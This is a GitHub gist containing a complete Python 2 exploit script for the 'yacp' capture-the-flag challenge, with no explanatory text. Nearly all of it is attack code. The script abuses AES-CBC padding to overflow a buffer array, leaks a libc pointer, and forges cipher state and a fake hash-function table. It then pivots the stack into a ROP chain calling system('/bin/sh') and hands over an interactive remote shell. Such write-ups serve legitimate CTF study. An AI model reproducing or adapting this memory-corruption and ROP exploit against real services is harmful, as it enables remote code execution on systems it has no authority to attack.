Skip to content

Instantly share code, notes, and snippets.

@spq
Created April 23, 2017 22:27
Show Gist options
  • Save spq/dca3ce52fb69c9d7ffa59191e4dbcb56 to your computer and use it in GitHub Desktop.
Save spq/dca3ce52fb69c9d7ffa59191e4dbcb56 to your computer and use it in GitHub Desktop.
#!/usr/bin/env python2
import struct, socket
from Crypto.Cipher import AES
xor = lambda a,b: "".join(chr(ord(i)^ord(j)) for i,j in zip(a,b))
cipher="aes-128-cbc"
key = "A"*16
iv = key
cbc = lambda: AES.new(key, AES.MODE_CBC, iv)
ecb = AES.new(key, AES.MODE_ECB)
padding = chr(16)*16 #padding for data of multiple of 16byte
prefix = "A"*(2048 - 16)
def build_last_block(prefix, wanted):
last_block_iv = cbc().encrypt(prefix)[-16:]
wanted_decrypted = ecb.decrypt(wanted)
last_block_crypted = xor(wanted_decrypted, padding)
last_block_decrypted = ecb.decrypt(last_block_crypted)
last_block_plain = xor(last_block_decrypted, last_block_iv)
return last_block_plain
s = socket.socket()
#s.connect(("127.0.0.1", 1234))
s.connect(("yacp.chal.pwning.xxx", 7961))
def ru(a):
d = ""
while not d.endswith(a):
c = s.recv(4096)
assert(c)
d += c
print `d`
return d
def sn(n):
s.sendall(str(n)+"\n")
d = ru(" and is 32 characters long.\nMagic word? ").split(" ")[21]
def find_magic(magic_value):
import hashlib
pf = "\xff"*3
for i in xrange(1<<32):
m = hashlib.sha256()
s = (magic_value + hex(i)).ljust(32, "A")
m.update(s)
dig = m.digest()
if dig[:3] != pf:
continue
if ord(dig[3]) >= 0xf0:
return s
sn(find_magic(d))
mm_suffix = "\nWhat would you like to do?\n0. Load data\n1. Generate random data\n2. Hash data\n3. Encrypt data\n4. Decrypt data\n5. Display data\n"
mm = lambda: ru(mm_suffix)[:-len(mm_suffix)]
mm()
def buf_set(b, v):
assert(b in xrange(32))
sn(0)
ru("How many bytes is the data?\n")
sn(len(v))
ru("Which buffer (0-31) would you like to use?\n")
sn(b)
ru(" hex-encoded bytes\n")
s.sendall(v.encode("hex"))
mm()
def buf_get(b):
sn(5)
ru("Which buffer (0-31) would you like to use?\n")
sn(b)
return mm().split(" ")[4].decode("hex")
def buf_enc(cipher_name, k, i, inp, out):
sn(3)
ru("What type of cipher would you like to perform?\n")
sn(cipher_name)
ru("For your input, Which buffer (0-31) would you like to use?\n")
sn(inp)
ru("For your output, Which buffer (0-31) would you like to use?\n")
sn(out)
ru("For your key, Which buffer (0-31) would you like to use?\n")
sn(k)
ru("For an IV (use any buffer if not needed) Which buffer (0-31) would you like to use?\n")
sn(i)
mm()
def buf_dec(cipher_name, k, i, inp, out):
sn(4)
ru("What type of cipher would you like to perform?\n")
sn(cipher_name)
ru("For your input, Which buffer (0-31) would you like to use?\n")
sn(inp)
ru("For your output, Which buffer (0-31) would you like to use?\n")
sn(out)
ru("For your key, Which buffer (0-31) would you like to use?\n")
sn(k)
ru("For an IV (use any buffer if not needed) Which buffer (0-31) would you like to use?\n")
sn(i)
def buf_hash(hash_name, inp, out):
sn(2)
ru("What type of hash would you like to perform?\n")
sn(hash_name)
ru("For your input, Which buffer (0-31) would you like to use?\n")
sn(inp)
ru("For your output, Which buffer (0-31) would you like to use?\n")
sn(out)
mm()
""" leak:
buf_set(0, key)
buf_set(1, prefix + build_last_block(prefix, struct.pack("I"*4, 16, 2048, 0, 0x805C20C - 0x804C0E0 - 2048*3)))
buf_enc(cipher, 0, 0, 1, 31)
leak = buf_get(3)[2048*(32-3) + 32*4:]
print len(leak)
print leak.encode("hex")
"""
#step 1: set context
buf_set(0, key)
buf_set(1, cbc().encrypt("\x00"*2048)[:2048])
lengths = [0]*32
lengths[0] = len(key)
lengths[1] = 2048 + 32*4 + 0x18 + 0x8c + 12
lengths[2] = 0x804C0E0 + 2048*1 #used for ropchain at the end
lengths[3] = 0x805C20C - 0x804C0E0 - 2048*3
#step 2: leak information
buf_set(2, prefix + build_last_block(prefix, struct.pack("I"*4, *lengths[:4])))
buf_enc(cipher, 0, 0, 2, 31)
leak = buf_get(3)[2048*(32-3) + 32*4:]
ptr_aes128cbc = struct.unpack("I", leak[0x18+0x8c+4:][:4])[0]
#step 3: initialize buffer 2 to contain encrypted data we want to write over the data after the buffers
data = ""
data += "\x00"*2048 #buffer 31
data += struct.pack("I"*32, *lengths) #buffer length
data += "\x00" * 0x18 #hash state
#cipher state as seen after execution of cipher update function (we dont want to crash here)
data += struct.pack("IIII", ptr_aes128cbc, 0, 0, 0)
data += struct.pack("IIII", 0, 0, 0, 0)
data += struct.pack("IIII", 0, 0, 0, 0)
data += struct.pack("IIII", 0, 0, 0, 0)
data += struct.pack("IIII", 0, 0, 0, 0)
data += struct.pack("IIII", 0, 0, 0x10, 0)
data += struct.pack("IIII", 0, 1, 0xf, 0)
data += struct.pack("IIII", 0, 0, 0, 0)
data += struct.pack("III", 0, 0, 0)
#hash and cipher pointers plus marker for debugging
data += struct.pack("III", 0x804C0E0 + 2048*4, ptr_aes128cbc, 0xdeadbeef) #hash function table - buffer#4
assert(len(data) % 16 == 0)
data = cbc().encrypt(data)
assert(len(data) == lengths[1])
assert(len(data) > 2048)
assert(len(data) <= 2048*2)
assert(data[:2048] == cbc().encrypt("\x00"*2048)[:2048])
buf_set(2, data[2048:])
#step 4: decrypt buf 1 into buf 31 overwriting everything after the buffers
buf_dec(cipher, 0, 0, 1, 31)
#step 5: prepare ropchain in buf 1 and fake hashmethod "vtable" in buf 4
libc_base = ptr_aes128cbc - 0x390d60
crypto_base = libc_base + 0x1b6000
crypto_esp_gadget = crypto_base + 0x0004678e # mov esp, dword ptr [esp + 0xc] ; pop edi ; pop esi ; pop ebx ; pop ebp ; ret
libc_system = libc_base + 0x3ada0
libc_binsh = libc_base + 0x15b82b
libc_nop = libc_base + 0x3add6
buf_set(1, struct.pack("I", libc_nop) * 32 + struct.pack("III", libc_system, libc_binsh, libc_binsh))
buf_set(4, struct.pack("III", 0xffffffff, 0xffffffff,0x40) + 64*struct.pack("I",crypto_esp_gadget))
#step 6: call the faked hash function
#buf_hash("", 2, 31)
sn(2)
ru("What type of hash would you like to perform?\n")
sn("")
ru("For your input, Which buffer (0-31) would you like to use?\n")
sn(2)
ru("For your output, Which buffer (0-31) would you like to use?\n")
sn(31)
import telnetlib
t=telnetlib.Telnet()
t.sock = s
t.interact()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment